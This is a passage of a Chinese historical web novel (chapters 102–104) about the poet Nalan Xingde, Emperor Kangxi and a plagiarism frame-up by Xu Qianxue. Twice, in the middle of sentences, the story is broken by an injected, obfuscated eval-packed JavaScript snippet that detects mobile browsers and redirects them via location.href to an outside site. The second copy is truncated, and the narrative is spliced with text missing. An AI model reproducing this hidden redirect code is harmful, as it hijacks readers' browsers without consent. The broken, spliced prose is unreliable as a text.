可是下一瞬间,不知道怎么的天降倾盆大雨,而非飘雪。 沈宛呆立在雨中,老天爷真的有眼吗? 有眼的话—— 会让这种坏天气来加重纳兰公子的不济心情吗?会让纳兰公子体会“隔雨相望冷,对墙自添愁”的幽凄心境吗?会让叫“仗势欺人”的暴雨,来换了“清澈无瑕”的白雪吗? “不公,真是不公……” 沈宛仰天大喊。 话音混合着雨声,泪水混合着雨水,别是一番意难平。 * 慈宁宫,侧暖阁。 纳兰一想到康熙皇帝说的那句“你这是给大清丢脸啊”,就愤懑地咳出一口鲜血来。他把浸血的软帕揉成团,放进了桌侧的渣斗中。 纳兰隔着门对外喊话:“我有话对皇上说,我要见皇上。” 守门的统卫回应:“请公子修身忍性,不是奴才们阻挡,而是您的确无法面圣。” 如今自己沦落这番境地,算什么? ——有话说不得、有理辩不得、有苦泄不得。 ——徒留阿玛额娘担心、白让名声为有心之人所笑话。 纳兰趴在桌子上,直直眺望着不远处的烛花。 他扪心自问: 我的词,不敢说是全天下最好,但也句句出自肺腑、字字精雕细琢,敢与汉人相并论。如今莫名其妙撞句王次回,难道是上天要给我的名声设一道坎,不让我冰清无瑕吗? 由此我倒是看明白了,座师徐乾学不愧是我这一生当中摆脱不了的爱恨交加之人。徐乾学害我何止一次,他次次递进,损招阴招层出不穷,我对此恨之累之伤之,终究是应了“天命”一词,如妙觉禅师所言: “容若,你有师不如无师,知书不如不知、集大成于《通志堂经解》《渌水亭杂识》不如不编。一世悲与欢,冷暖自知。” 纳兰自语:“君侧陪臣,哪有什么苦尽甘来?都是杜鹃啼血罢了。” 遂写词一首: 《点绛唇》【注2】 雨自成溪,径流引向寒冬暮。君心有误,无计相对诉。 烛花瑶影,牵引白墙顾。细致数,雨雪如注。不看血簌簌。 【注1】史实:纳兰性德因雨暂住老师徐乾学家,见第96、97章 【注2】《点绛唇》: 1、上半阙写了季节和皇上对事件的态度:秋冬交替、误会。下半阙写了惩罚方式和公子自己的心情:面壁思过、咳血。 2、纳兰公子的词作被指责“借鉴”和“套用”王次回的诗作,徐乾学和索额图齐上阵,处处指向明珠父子,要求康熙皇帝“正教化”和“惩艳词”,这是史实,真不是虚构~纳兰公子被气的咳血也是史实。 103.第103章 雨过天晴,长空有彩虹。 官云辞独自进宫,直接去往养心殿。 在殿外,云辞看见了二等侍卫格尔芬,就带着赞许的目光夸他:“索二公子,你真的当上侍卫了?” “是啊!”见佳人,格尔芬爽朗一应,“不全是我阿玛索额图的走动,也有皇上自己的意思。如今御前侍卫曹寅去了噶尔丹草原执行任务,所以我当差离皇上离的近。” “原来是这样。” “云辞格格,你来找皇上,为的是什么事?” “纳兰公子受了皇上的罚,有人‘投石’暗示我去救他。” “你有几分把握自己救得了纳兰兄?” “我说不准,但是尽管试试,除非皇上真是个冷血无情的人。” 顾问行来到康熙皇帝面前,“万岁爷,云辞格格在外求见。” 玄烨抬头,把朱笔一搁,“你去跟她说,禹之鼎在如意馆不在朕身边。” “格格说了,今日见不到万岁爷您的面,她就不走了。” “她不是总在朕面前摆出‘纳兰比康熙皇帝更有勇有谋’的模样吗?如今她是见不得朕罚纳兰了?” “回万岁爷,苏嬷嬷派了人来传话,说纳兰公子咳了不少血,是急火攻心的缘故,已经遵照太皇太后的懿旨叫了太医去瞧。” “好,既然是太皇太后主意大,那你就叫官云辞去求太皇太后。来找朕做什么?朝外有顾贞观大骂徐乾学,朝内有官云辞责难康熙皇帝?” “奴才照万岁爷的意思出去给云辞格格回话。” 说着,顾总管就要出去。 “等等,把官云辞叫进来,朕倒要听听她要怎么给纳兰正名!” “是。” “还有,交待下去,太医要是耽误了纳兰的病,纳兰再咳出一丝血,就自己摘了医令牌和顶戴来给朕回话。” “万岁爷,您这不是在意纳兰公子吗?” “顾总管,你哪那么多嘴?给朕办事去!” “遵旨。” * 玄烨见官云辞一身洋装连衣裙,且行的洋人礼数,就冷讽:“藤原贞吉在你家住了那么久,是不是回国之后,再给你送几套和服算是礼数?” “皇上要是觉得新鲜,大可以去翻翻《渌水亭杂识》里面对日本和唐人街的记载,不是比挖苦云辞强多了吗?有凭有据,才能叫云辞信服:日后藤原贞吉的回礼到了瓜尔佳府邸,我也收不得。” “你要西洋器械、西洋书籍、西洋服饰,朕都可以放纵你和一应赏了你,但是你呢?感激朕吗?见礼于朕吗?” “皇上要感激、要礼数,大可以去后宫找嫔妃。云辞倒想问问皇上,养心殿是这种虚夸与谄媚满天飞的地方吗?” 玄烨咬着牙,“好,云辞格格你说的好——” 梁九功赶紧端上了茶盏:“万岁爷您请用茶。” “东洋人使者能够尽兴携带禹之鼎的画作和皇上赏赐的国礼归国,不是他个人的造化,也不是皇上您的招待和遣送之道到位,而是纳兰公子的献策好。皇上您不过是把‘估价画作’和‘制定两国商贸章程’这两件事做了而已。”【注1】 “你是一点也不给朕留面子啊!“ “云辞没规矩惯了,从不屈己于皇上。“ “纳兰他,”玄烨顿了顿,“煽动朕以后去亲征噶尔丹。” “皇上不是一贯好显摆威风吗?”云辞对上玄烨的目光,“那就威风凛凛地上战场去!到时候,我一定叫禹之鼎把康熙皇帝的英姿画下来,要画得比太祖爷努尔哈赤、太宗皇帝皇太极更神勇孔武才好!” “朕离开紫禁城,朝政交给谁?明珠和索额图,朕谁都放心不下。” “皇上要是找不出一个代理朝政的主心骨来,就是无能!”云辞将了玄烨一军,“还不如叫年迈的太皇太后来管着万卷江山,看后人如何评价皇上的……” “朕忌讳从你口中听到‘无能’二字。” “我哪里说错了吗?”云辞神情坚朗,“还是皇上没有了踏入漠北草原的底气?” “朕——” 玄烨当着云辞的面,放出了一番狠话来: “朕到时候就把纳兰留在朝中,让他的儿子随军同行,看他是不是听命于朕:牵制明珠势力,平衡索额图的不轨之心……来确保朝纲不乱!” “玄烨,你卑鄙!”云辞指着皇上怒道,“你是想把纳兰公子的儿子作为人质带着上战场,以此来要挟他?你这招太狠毒了,纳兰公子会被你气倒、气死的。” “到时候再说吧!”玄烨仿佛赢了云辞一次一般,脸色写着得意,“朕倒是希望纳兰看不到朕亲征噶尔丹的出阵场景。” 梁九功小心翼翼地问:“万岁爷,您这话是什么意思?” “朕说不上来,只是有一个预感罢了。”玄烨摇了摇头,“所以才说了奇怪、伤人的话。” 玄烨看向云辞,情绪忽然转为了后悔,道:“你听过之后就忘了吧!日后不许向纳兰提起朕今日所言。” 云辞的脸色非常难看,她觉得—— 年岁逐渐成长的康熙皇帝,好似对纳兰的“生死”和“枯荣”既在乎又轻率。 康熙皇帝怀着“舍得又舍不得”、“离开又离不开”的心态,珍惜自己的陪臣,重创自己的陪臣。 “皇上,君无戏言,话不可以乱说。纳兰公子跟别人不一样,经不起玩笑话,他会把对方说过的话当真,或回避或直面,他不肯轻易放过自己。所以玄烨,就算你贵为天子,我也不许你用言语:气杀纳兰。” 云辞这番话,让玄烨当场低下了头。 ——天子是不能承认自己错了的。 ——但是,天子可以在知错的基础上有所挽回。 玄烨站起,用无比平静的声线道: “云辞,朕知道你来找朕的目的是什么。所以朕无需听你多说,此刻就与你一起去慈宁宫的侧暖阁探望纳兰。” * 来到慈宁宫侧暖阁的时候,玄烨看到了孝庄太皇太后和苏麻喇姑的身影。 “孙儿/云辞给太皇太后请安,老祖宗吉祥。” “不用太多规矩,你俩都坐下吧!” 孝庄握着未醒的纳兰的手,对玄烨道: “皇上,但凡你能够体谅纳兰的心情和有点作为大清国国君的尊严,就不会一味指责他和不信他。你倒好,身为满人不信也不认《纳兰词》的至真至上,反而是抬举了前明士人王次回的诗,皇祖母问你:纳兰和王次回,谁向着你向着大清?” 玄烨看着纳兰苍白的脸,心中掠过许多番悔: “朕没查出什么关键证据来,确有不是;没给纳兰解释的机会,确有不妥;没追究他提及的索额图和徐乾学,更是不对。请皇阿奶责骂教导。” 孝庄问:“云辞格格,你说呢?” “老祖宗,纳兰公子珍惜自己的名声,云辞想着:真相会不会是反过来,不是《纳兰词》相似于王诗,而是有人仿写《纳兰词》的句子,伪装成王诗收录进了《疑雨集》里,贼喊捉贼?” “嗯。”孝庄点头,“你说的有道理。” 玄烨道:“王次回已经死了,死无对证。” “王次回死了,但是跟他交好的张岱没死。”孝庄忽然提起了那个多尔衮恨之入骨的文人,“皇上你把张岱的反诗、反篇、反论的‘□□案子’查清楚了,《纳兰词》和《疑雨集》谁仿谁,自然水落石出。” “皇阿奶说的极是!”玄烨开窍似的一点头,“朕就是没想到可以找张岱来对质。” * 深夜。徐府。 徐乾学只秉了一盏烛灯往藏书阁走。 他无比谨慎地推开了藏书阁的大门,复掩门跪在孔圣人画像面前,自语: “先贤在上,徐某惊闻大才子纳兰性德编书用功,《通志堂经解》水到渠成,成为举世大作指日可待,故而心生嫉妒,暗害他于无形。这绝非是徐某本意,徐某只是见不得‘明珠官高、其子成器’罢了,还请先贤见谅,切勿追究徐某的下作行为。” “徐某知纳兰性德阅书不倦,便在给他看的书籍上面做了手脚,引误作者与书名,偷换内容与目录,只为坑骗于他,让他学之出错、贻笑后世。徐某虽为师,却每妒《纳兰词》和《纳兰赋》惊诧文坛,人人唱之传之爱之,恨己之所不如。故而心生一计——” “自己仿写了《纳兰词》的佳句,想方设法收录进了前明士人王次回的《疑雨集》中,造谣:若词仿写自王诗。经由索额图发酵事件,一石激起千层浪,叫纳兰性德有口莫辨,气极呕血,沉昏似逝。” 徐乾学对着孔圣人画像,连磕了三次头。 然而,他之所想,并非是主动到康熙皇帝面前去供述与忏悔自己的罪行,而是想把自己的卑劣行径掩盖于泥沙之下。 他细细判断之后,得出结论: 要想康熙皇帝追究不出一个所以然来,就得先把张岱找出然后灭口,这样才能叫世人无从得知:王次回《疑雨集》的本来面目。” 徐乾学熬了一个通宵,终于迎来了天际的第一缕曙光。 草草吃过奢侈的早膳之后,徐乾学直奔索额图府上。 徐乾学装作痛心疾首,“索大人,我爱徒容若身子羸弱,受不了这样的打击,生死难料,说到底还是我这个座师教徒有失啊!” 索额图厌恶道:“徐先生你对自己的学生毫不留情,怎么还好意思跑来本官面前假慈悲?” “要不是徐某有先见之明,知道纳兰性德自作自受、迟早会有今天,索大人你也没法从徐某手上拿到《纳兰词》对比王诗《疑雨集》的明细铁证啊!徐某这是在阻止学生继续犯错,哪有猫哭耗子之意?” “徐先生,你就直说了吧,来找本官是图什么?” “索大人直爽,徐某也明人不说暗话,就是来提醒索大人一句:康熙皇帝表面上再如何惩戒纳兰性德,心中都是一万个放不下他。回头纳兰性德清白得证,首当其冲的就是你我。” “徐先生,你有本事自找‘证据’害人,难道就没有事先铺设好后路?口口声声在本官面前说‘铁证’,如今又害怕‘铁证’被推翻进而获罪,你这副丑陋嘴脸,真该被死后鞭尸!” “徐某……这不是怕自己连累了索大人您吗?” 徐乾学起身施礼,然后把自己的“嫁祸纳兰之举”言简意赅地坦诚于索额图,“索大人,张岱是个证人,他要是打消了康熙皇帝对《纳兰词》的猜疑,那王诗《疑雨集》被我动了手脚的事情也会公诸于众,我的颜面和官位就别想要了!而索大人你,受到的牵连恐怕也不会小啊……” 索额图冷道:“本官若非报复明珠心切,也不会错听了你的歪招和损招,既然事已至此,你打算如何堵住证人张岱的嘴?” 徐乾学比出了“咔擦”一声,片手横过脖子的动作,道:“死人才能守口如瓶。” “好!”索额图表情狰狞,“徐先生,这事你去办。办成了,日后你我的日子都好过;办不成,你就休想在本官手下好过!” “索大人,徐某要借您之力——” “滚!!”索额图往大门一指,“本官只是受你蛊惑的受害者,从未跟你沆瀣一气过!!” * 宋应星给新住的落脚点取了名字,叫做:开物居。 这些天以后,他为了自保也为了确认张岱的下落,多方奔走,亦是明晰了不少江湖之事和文坛风向。 皇宫里头纳兰容若病着,就跟是心中压着一块石头,皇上不把那块石头挪走,他就好不了似的。 山林深处,沈宛因为之前淋了雨,也染上了风寒呆在房间中静养,没空打听窗外事。 “师傅,现在外头怎么说?支持《纳兰词》还是支持《疑雨集》的人多?” “都是些看热闹的人罢了,谁是谁非还得让张岱去判断。”宋应星坐在窗子边,“张岱要是想保命,就该咬定《纳兰词》是容若的原创之作。” “这个世道荒谬的很。”沈宛饮下一口苦药,“纳兰公子无端遭祸,张岱先生不知道自己已经身处险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176812|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境,却是便宜那些下石之人和作赌之人。” “找人之事真是叫我觉得过年也无滋味。”宋应星轻叹,“我不禁怀疑,张岱不会跑到明孝陵去了吧?那还了得?” “师傅不必多心,之前张岱先生不是自称:有术士给他算过命,说他能够活到九十多岁吗?他的人生之路还远着呢。” “十个算命先生六个是骗子。”宋应星烦躁不安,“罢了,张岱怎么样都好,看他是落入谁的手中。” “师傅的意思是?” “我得来情报:纳兰明珠追查他,是因为明珠本身就肩负着这个奇案;康熙皇帝叫人找他,是因为太皇太后的懿旨;徐乾学派出江湖之人追击他,是因为不想他对若词和王诗做出判断……” 沈宛看着药碗,汉方可真苦啊!难怪容若宁愿吃洋方的药片。 世间千人千面,人心可真难测!难怪张岱有意识躲的远远的。 除开那些客观之事,沈宛心中对官云辞十分感激。 要是没有官云辞进宫去找康熙皇帝,太皇太后就不可能为容若作后盾,现在康熙皇帝照着太皇太后的意思来重新审视案子,老天爷要是有知,就该站在容若这一边。 因为,容若好大家都好,大清需要一个颜正心正人品正的博学公子。 否则,容若之后再无满人文人,是当今文坛的损失,也是这个这个世道的损失。 “轰隆——” 一声惊雷掠过,在滚滚余音之中,又是黑风猛雨的来临之刻。 “师傅,你说老天爷在想什么呢?”沈宛把药碗搁置,“怎么回回都要以这样的方式来回应我的心声?” “人定胜天虽是一条道理,但是御婵,人不可多求于天。”宋应星关窗点火,“天要变脸,不是恨人之贪心不足,而是合定是非之道的必要翻覆啊!” “师傅有过静心听雨的时候吗?” “我宋应星这一辈子,不觉得自己安生过。心中常常落下无形之雨,好似亲人和友人的悲诉,又好似对自己无能的悲叹。自然之雨哪比得上心中之雨酸苦?个中滋味,皆是淅淅沥沥,断线催肠。” 沈宛神思幽幽,“我闻纳兰公子喜欢在雨时听筝,却从未听过,只因身侧无此佳人。” 宋应星识破了沈宛的心思,“御婵你在歌楼学成曲调,是想为他弹一曲?” 沈宛道出一句实情来:“明府有筝,价值千金,公子独属,却憾物不尽己之所用。” “那就是无法了。”宋应星没有什么特别情绪,“他带不出筝来,你入不得明府琴室,只能让好筝空对风月。” 宋应星离开后,沈宛作《风调曲·(与容若)无筝》一首。 素手纤纤,只对红豆不对弦,羡煞天仙却畏。素闻广厦引鹤,谁见子乔栖瑞?不由径路悲轻幰,同病觞咏不消累。与君隔望与君泪。 心字灰,玉楼锁,蜀魂馀冤,谁人愧?更可知,风雨后,天星冷浸,恨作几许心事轨?十九年来沉淀,应幡醒,惊破一梦再会。 【注2】 * 而在延禧宫中,惠妃恰是一人对筝。 远黛回话道:“奴才打听到消息,皇上跟赫舍里皇后一同用膳的时候,蒙古嫔妃额哲氏派人来请了三次圣驾,理由是身子不适。” 惠妃用护甲划过筝沿,“额哲氏仗着出身和噶尔丹势力,连皇后都不放在眼里,尊卑不分,迟早会自作自受。” “可是娘娘,皇上也很久没有来过咱们这里了。”远黛神色不甘,“娘娘您真不打算主动向皇上示好?也好向皇上求得一个机会,去慈宁宫侧暖阁探望容若公子。” “表兄的事情,皇上自有主张,本宫干涉不得。”惠妃垂眸,不掩担心的眼角愁光,“本宫唯有尽一个嫔妃的责任,好好把大阿哥抚养长大,才算是对得住夫君和纳兰家。” 这时候,有坤宁宫的掌事太监李公公进来,道:“皇后娘娘为各宫主位赏赐桂花汤圆,奴才给惠妃娘娘送来了。” “替本宫谢皇后娘娘恩典。有劳李公公来这一趟。” 惠妃看向远黛,远黛便给李公公拿上了赏钱。 “皇后娘娘记挂着六宫同沐恩泽雨露,已经叫敬事房的公公端着牌子过去养心殿等皇上翻了,今夜也不知道是哪位主儿有幸——” “本宫知道了,不管皇上翻了谁的牌子,本宫都会做好准备。” “奴才告退。” 惠妃看着食盒,道:“表兄喜欢吃软糯、温热的带点甜汤的素食,汤圆就是其中之一。远黛,本宫明日去小厨房亲手做,做表兄爱吃的奶酪馅儿的雪皮汤圆,你找个机会,托人送到慈宁宫侧暖阁去。” “娘娘,苏嬷嬷好说话,奴才会把事情办妥。” “本宫但愿表兄的‘词作风波’能够早些过去,一家人,应一同在明府过个团团圆圆的好年。本宫,也应过好……属于本宫的皇家年。“ “娘娘,您伤感了,也落泪了。” 惠妃走出殿外,双手合十,仰望长空。 ——筝空横,真心付长弦,谁弹? ——宫檐下,雨水隔帘幕,盼安。 【注1】纳兰所献的四条对策,见第100章。 【注2】 上阙: 1、广厦引鹤:掌管天上人间工事的名为“广厦”的神君怀抱一鹤,鹤同贺,乔迁之喜,这里寓意沈宛师徒搬家。 2、子乔栖瑞:松乔之寿的“乔”,是指神仙王子乔,这里寓意沈宛期盼自己跟容若一起接好运。 3、悲轻幰和觞咏:用的是“阮籍穷途、相如病”的典故。途穷悲阮籍,病久忆相如。沈宛暗示:容若是个才高带病的性情中人。 下阕: 1、首句是沈宛对容若词句“心字成灰”和“人在玉楼中,楼高四面风”的化用。 2、蜀魂馀冤:望帝魂化杜鹃。容若一生对康熙皇帝:杜鹃啼血。 3、最后一句,十九岁是容若的年龄,“梦破”出自李商隐“归梦不宜筝”,由此可见沈宛深谙纳兰心事。 104.第104章 纳兰睁开眼,看见的是孝庄和苏麻喇姑的身影。 他的耳边,传来了不大不小的雨声。 “老祖宗,咱们满人多半是马背上生活,日后有机会,皇上巡幸江南之时,一同在江南行船,看朦胧烟雨,一定一生一次一难忘。” 孝庄道:“皇上带你巡幸,就爱叫你写应制诗,改日我说说他,该多给你一些自由。” “我这只笔,只能给一半自由。”纳兰无奈一笑,“即便是自己一个人写就了完全抒发心志的文章,当下和后世之人要如何看待、如何比较,也是说不准的。所以我觉得自己怪不得谁,尤其是前明士人王次回,我只当自己在十九岁的末尾、进入二十岁之初,跟他结了缘,供得了一番愁。” “之前我还只怕你走不出来,现在却是更不放心了。”孝庄安慰道,“我相信你,相信你的词作都属于你自己,从未向谁借字借句。孩子,你还年轻,这些都是人生道路上的历练。” “是,‘公道’这个词,”纳兰微笑,“本就不是人人信服的‘天道’,但求有一方相知、信我在走‘正道’,无论雨后天多寒,我的心都是温暖的。多谢老祖宗。” 苏麻喇姑关切道:“奴才给公子准备了奶酪馅儿的雪皮汤圆,这会儿正在小炉子上温着,可要叫端过来?” “好,我喜欢吃。多谢苏嬷嬷。” 纳兰心中明白,这是表妹惠儿的心意,只有她知道他称汤圆的白色糯米层为“雪皮”。 果然在宫中,自己是被惠儿惦记着的,这份心照不宣何足珍贵?一切尽在不言中,却有彼此心知肚明,隔墙隔雨帘,两心相近犹见。 吃汤圆的时候,纳兰听见孝庄道:“孩子,云辞格格为你去找了皇上,皇上带她来我这儿看了你。多亏了她,皇上才肯重新审视这次事件的前因后果。皇上已经派人去找张岱了,柳暗花明之日快到了。” “老祖宗圣鉴,皇上圣明,是我之幸。”纳兰感恩道,“云辞格格为我奔走,我亦感念于她,等到皇上肯放我出去了,我再到瓜尔佳府邸去谢她。” “你觉得自己的身子和状态养的差不多就出去,一切都有我做主呢。”孝庄开明道,“皇上性子倔犟,开不了放了你的口。我估摸着这会儿,皇上是在处理蒙古草原的军务,他顾及我这个从蒙古草原而来的皇祖母,不敢放手去做。” “这会儿噶尔丹还反不了,只是做足了阵势让朝廷有这么一个概念:他们有野望和野心称霸蒙古,行旧时成吉思汗之志。”纳兰把汤圆碗交给苏嬷嬷,“皇上需要进行军事部署,以助于将来亲征。” 孝庄感叹:“亲征,战争伤民呐!” “可是边境之忧一旦无法收拾,就会变成山河的版图之忧。”纳兰把心里话说给孝庄听,“我想这是蒙古和朝廷的一场持久战、博弈战,双方各用十年、十五年的时间来证明各自的力量,战事难免。” “十年、十五年,真长啊!”孝庄握着纳兰,“到时候我还不知道自己能够看着皇上出阵和听到从草原而来的捷报呢。” “老祖宗身体硬朗着呢。”纳兰坚信,“彼此纳兰不在,明索两党不知如何,一切朝中事务还仰仗着老祖宗。” “公子怎么说自己不在?”苏麻喇姑问,“公子是积德行善、广种福田之人,必将长寿一生,修得菩提。” “我的意思是……我不在朝中。”纳兰找了个理由,“我想跟着皇上一起上阵。” 纳兰心中是知道的: 如果一生短暂三十年,那么自己是等不到康熙皇帝亲征噶尔丹之日的。 如果真能打破天命,那么自己一定推荐裕亲王福全为大将,跟王爷一起杀敌报国,左右护驾。 “孩子,你怎么哭了?” 孝庄拿出手帕,擦了擦纳兰的泪光。 “陪老祖宗说话,我高兴。” 纳兰握着孝庄的手,好似把她当成了自己的亲奶奶。 * 徐乾学半夜从恶梦中惊醒,叫来家丁点灯,看见的是明晃晃在摇曳的灯芯火光。他没好气地叫家丁去关窗,却在家丁拴好窗户的那一瞬间,被狂风重新吹开了扇叶,伴着裂天的电光! “大人,天作孽犹可违,人作孽不可活。” 家丁说这句话的时候,逆光的身影看着就跟青鬼一样。 徐乾学不禁打了个寒战,颤动着嘴唇,说不出一句话来。 等到烛火燃尽半截,数着是天亮的时刻,徐乾学自己下了床。 却不知道怎么的,竟然一脚踩空,滚出去了一段距离。 一个进来伺候更衣和洗漱的丫鬟见状,也不去扶起自家大人,只道: “大人您行为欠说,先是对自请辞官回乡的蔡启僔蔡先生看不起与冷嘲热讽,后是在‘花鸟风月楼’丢人现眼地与顾贞观等人论战对骂,如今又不知道着了什么心魔,一幅理亏心虚的模样,睡不好也坐不安,您说您这是何苦?” 徐乾学挣扎着起来,“本官不怕遭天谴,就怕是遭了冥冥之中的诅咒,才会丢魂落魄、就跟是得了报应一样。” 丫鬟心想:徐大人得了报应也是活该,纳兰公子来府上小住之时,徐大人是挖空了心思夜潜藏书阁,以为无人知晓,我却是看到了。纳兰公子要看的书,都是被徐大人做了手脚的。 “你出去——”徐乾学指向大门,“本官今日不穿官服,也不吃早膳!” 丫鬟应了声:“是。”就离开了。 上午,徐乾学正在府里佛堂念着自创的“心法”,以平缓心中之躁动。 有江湖探子翻窗而入,把徐乾学吓的差点扯断念珠。 “徐大人,你花重金叫在下去探的情报,在下已经有眉目了。张岱此人,已经去往金陵!” “是《湖心亭看雪》中提及的金陵还是另有所指?” “就是《湖心亭看雪》中的金陵,徐大人,你是要继续杀人灭口?还是放了他?” “本官——” 徐乾学才要说出真心话,佛前的供花忽然连瓶翻落,好是把他惊了一惊。 江湖探子冷看着一地碎片与残花,问:“徐大人,你这是听了神佛的话,自己去向皇上供述罪行?还是叫在下将任务执行到底,拿了张岱的人头来见?” 徐乾学已经是冷汗浸衣,喃喃道:“莫不是神佛都要借此来阻止本官酿成大错?这玄学之说和无解之预兆,到底是信得还是信不得?” “徐大人,你可千万把后果掂量清楚了!”江湖探子催道,“横竖你都是个罪人,还不如为自己多造一级浮屠。” “不错,本官是个罪人,不该害了爱徒容若的词作清白!” 徐乾学把念珠往香炉旁边一放,然后当着金衣佛像的面,猛扇了自己一嘴巴。 “爱徒容若向往汉学、用心阅读难解之经典,誓与本宫一同编撰旷世奇作《通志堂经解》,本官不应该把他气的吐血。” “本官自私自利,既爱跟容若一起比较才学高低,又爱整蛊栽赃于他,说到底,就是因为自己自愧不如。如今祸闯大了,牵连之人众多,涉及之网广泛,康熙皇帝定是不会对本官轻饶。” “本官——”徐乾学把脑袋一仰,“就算是下地狱,也要拉个垫背的!” 徐乾学所指,是:索额图。 索额图怎么说都是赫舍里皇后的叔父,康熙皇帝不可能对他重罚。 由此,徐乾学推断: 皇上秉承“朝廷命官,一视同仁”之理,也不会要了我的命。只要索额图能活,我就能活;只要索额图轻罪,我就轻罪。 风雨之中,黑云更黑。 徐乾学大笑,对江湖探子说了一句“张岱此人,你不必再跟进,算他命大”之后,就将那人给打发走了。 徐乾学决定了,择日就进宫面圣,自述罪行。 ——索大人,你我谁都逃不掉。 ——走着瞧吧!官路之上,谁人不记仇?明索两党弃我一时,我就气明索两党一世。 * 宋应星盘腿坐在屋檐下,身边只有一鼎香柱。 残雨浸透着地面,为摆设的阵法而用到的石头,此刻全部湿透,却威力不减。屋前有树,树叶挂水滴,翠绿晶莹,看着不似将入冬季。 沈宛从房间出来,倚柱站在师傅对面。 “我昨夜在灯下看张岱未公之于众的文章,不禁双泪纵横。”宋应星紧了紧衣领,“张岱说自己七十岁以后,要回金陵养老。也许他把行程提前了也未可知。” “各路人马能追到金陵去吗?”沈宛蹙眉,“还是说张岱先生此时还藏身于京师某处,就像吴应熊一般,远在天边近在眼前,被清军拿下的消息一传出,天下皆惊。” “御婵,你近来读了什么书?” “原本我想找王次回的文章来看,却发现孤本不存,先是为江南有名的藏书楼‘传是楼’所购,后来又被昆山三徐之一的徐乾学带到了京师的徐府,只恐除了徐乾学自己和纳兰公子,无人看过。” “王次回在世之时,跟张岱交好,曾欲把自己的毕生著述都托付给他。我想事到如今,朝野内外皆对《纳兰词》与《疑雨集》众说纷纭,张岱定是压力不小,既知进退又不知。” “师傅,您这话御婵不懂。”沈宛来到宋应星身边,“张岱先生进可作证若词与王诗的关系,退可向明珠父子乞求保命,为何犹豫不决?” “你别忘了,朝中还有徐乾学和索额图。”宋应星拎出要害,“他俩要是提出一个‘杀’字,必定有大半朝臣依附。张岱跟我不同,他想着活久一点,四处游历,踏山涉水,吃遍珍馐,志趣不全在笔墨之间。” “那——”沈宛一斟酌,“想办法把张岱先生引出来不就好了?” “怎么引?”宋应星换了个坐姿,“仔细你我师徒玩火自焚。” “张岱先生的书《夜航船》不是被康熙皇帝禁了吗?”沈宛想了一招,“我去‘花鸟风月楼’假传风声,就说有文人盗写《夜航船》且抄录《渌水亭杂识》,将鱼目混珠的篇章带去国子监为自己求名声,得到了徐乾学的弟弟徐元文的赏识,已经举荐那个人为九品书学了。” “哦?” “文人最讲究风骨,张岱先生要是知道自己的作品《夜航船》被人挂羊头卖狗肉地盗写,且那个人还因此当了个小官,怎么能忍?定会走出来加以指责。” “有道理。” “还有纳兰明珠大人,要是发现有人敢未经允许抄录容若的书,怎会轻易放过?康熙皇帝就更不用说了,以‘纳兰文章的第一鉴读人’自居,不许有人在自己之前去碰去看纳兰的笔墨,《渌水亭杂识》尚未完稿,一旦出现抄录之说,天子一定不会饶恕。” “御婵,你这主意好。”宋应星捋须大赞,“巧用一个子虚乌有之人,能够把张岱、纳兰明珠、康熙皇帝卷入其中……妙,实在是妙啊!” “这还不够。”沈宛一笑,“索额图不是在暗地里收钱卖官吗?我就借机把他也拖下水!对‘花鸟风月楼’里的那些三教九流之人说:国子监祭酒徐元文,正是收了那个‘子虚乌有之人’的银子,从中抽取了好处费,才把那个人带到了索额图面前、为那个人谋的了一官半职。” “哈哈!”宋应星心情明朗,“这样一来,徐乾学徐元文兄弟、索额图,一个也逃不掉,朝中的局面就会变得一团糟。” “文坛和官场,怎么一团糟都好,”沈宛看向皇宫方向,“我只要纳兰公子安养在房间,无事避风沙。” “你行事之时,小心一些。”宋应星叮嘱,“最好是女扮男装来行动,要谨慎应对一切可能会突发的情况。” “师傅提醒的是,御婵这就去做准备。” * 慈宁宫侧暖阁。 纳兰坐在窗边看无边细雨。 纳兰心中抱着一种凡事“既来之则安之”的心态,倒也不去多想那些对心神无益的事情了。反而是独自琢磨军事策略,能够让自己思绪放飞。 吴三桂那边没有任何动静,吴应熊却是在天牢之内闹的凶,皇上的意思是:由得他谩骂和吵闹,免得做个无言鬼。 朱三太子的确切踪迹仍旧未明,曹寅等人已经在草原上暗暗搜查,未打草惊蛇,却也难扛劳累与“无果”的高压。 父亲明珠收到来自施琅的关于台岛情况的密报,其中两个词“宣旨招抚”或“动斥武力”,令明珠借着“探望儿子”的机会来到慈宁宫侧暖阁跟儿子密议。 密议的结果,是:如实禀告皇上,向皇上请求更多资源来支援福建水师,向皇上提议筹集预备军费、用作养兵和维护战舰。 * 另一边。 沈宛已经在“花鸟风月楼”顺利放出了假消息。 树欲静而风不止,张岱闻讯,果然上钩而出,从金陵返回京师以后,做的第一件事,就是跑到国子监去大骂祭酒徐元文。 徐元文不像兄长徐乾学那般能忍顾贞观的骂,而是叫人去报了官,不计后果。 于是,张岱、徐氏兄弟和索额图就一并被牵连了起来,康熙皇帝决定亲审案件。 张岱跪在大清天子面前,正色道: “草民与《疑雨集》作者王次回是至交,王诗草民全部读过,包括《疑雨集》的编录,草民也是从头到尾参与。草民亦喜读《纳兰词》,知容若词风清丽、字句皆心声。” 康熙皇帝把若词和王诗的相似之笔拿给张岱去辨,张岱仔细核对半晌,终于给出了肯定的答复:“容若之词,为仿写或借鉴于王次回之诗。” “你给朕说明白。” “回皇上,草民不记得自己在校对和编修《疑雨集》时,在原版上见过王次回写下那些文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“徐乾学为了自保,曾买通江湖探子去拿张岱的项上人头,后来临时变卦,收回了杀令,那个江湖探子怕遭到后续暗算,就来找了本官,请求本官保他性命。现在那个江湖探子正在本官府上,他手上有与徐乾学签订的《契约》和银票往来《字据》,皇上找人核查就是。” 